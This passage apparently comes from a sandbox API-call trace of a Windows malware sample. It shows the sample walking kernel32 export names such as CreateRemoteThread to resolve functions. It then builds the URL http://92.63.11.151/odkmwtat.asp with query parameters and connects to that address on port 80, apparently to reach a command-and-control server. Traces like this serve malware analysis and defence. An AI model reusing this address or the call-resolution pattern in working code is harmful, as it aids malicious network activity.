lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0102.828] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0102.828] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0102.829] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0102.829] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0102.829] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0102.829] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0102.829] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0102.829] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0102.829] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0102.829] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0102.829] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0102.829] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0102.829] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0102.829] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0102.829] lstrlenA (lpString="CREATETHREAD") returned 12 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0102.829] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0102.829] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0102.829] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0102.829] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0102.830] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0102.830] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0102.830] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0102.830] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0102.830] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0102.830] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0102.830] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0102.830] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0102.830] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0102.830] GetTickCount () returned 0x2f3cc [0102.830] GetTickCount () returned 0x2f3cc [0102.830] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0102.831] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.831] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0102.832] wsprintfA (in: param_1=0x3010000, param_2="http://%s%s" | out: param_1="http://92.63.11.151/odkmwtat.asp?t=vj1aac&fy=5") returned 46 [0102.832] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0102.832] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0102.833] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0102.833] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0102.845] lstrlenA (lpString="kernel32.dll") returned 12 [0102.845] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.846] inet_pton (in: Family=2, pszAddrString="92.63.11.151", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0102.846] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0102.846] socket (af=2, type=1, protocol=6) returned 0x544 [0102.846] inet_addr (cp="92.63.11.151") returned 0x970b3f5c [0102.846] htons (hostshort=0x50) returned 0x5000 [0102.846] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.11.151"), namelen=16) returned 0 [0102.937] lstrlenA (lpString="kernel32.dll") returned 12 [0102.938] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0102.938] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0102.938] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0102.938] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0102.938] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0102.938] lstrlenA (lpString="ADDATOMA") returned 8 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0102.938] lstrlenA (lpString="ADDATOMW") returned 8 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0102.938] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0102.938] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0102.938] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0102.938] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0102.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0102.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0102.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0102.939] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0102.939] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0102.939] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0102.939] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0102.939] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0102.939] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0102.939] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0102.939] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0102.939] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0102.939] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0102.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0102.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0102.939] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0102.939] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0102.939] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0102.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0102.940] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0102.940] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0102.940] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0102.940] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0102.940] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0102.940] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0102.940] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0102.940] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0102.940] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0102.940] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0102.940] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0102.940] lstrlenA (lpString="BACKUPREAD") returned 10 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0102.940] lstrlenA (lpString="BACKUPSEEK") returned 10 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0102.940] lstrlenA (lpString="BACKUPWRITE") returned 11 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0102.940] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0102.940] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0102.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0102.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0102.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0102.941] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0102.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0102.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0102.941] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0102.941] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0102.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0102.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0102.941] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0102.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0102.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0102.941] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0102.941] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0102.941] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0102.942] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0102.942] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0102.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0102.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0102.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0102.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0102.942] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0102.942] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0102.942] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0102.942] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0102.942] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0102.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0102.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0102.942] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0102.942] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0102.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0102.942] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0102.943] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0102.943] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0102.943] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0102.943] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0102.943] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0102.943] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0102.943] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0102.943] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0102.943] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0102.943] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0102.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0102.943] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: 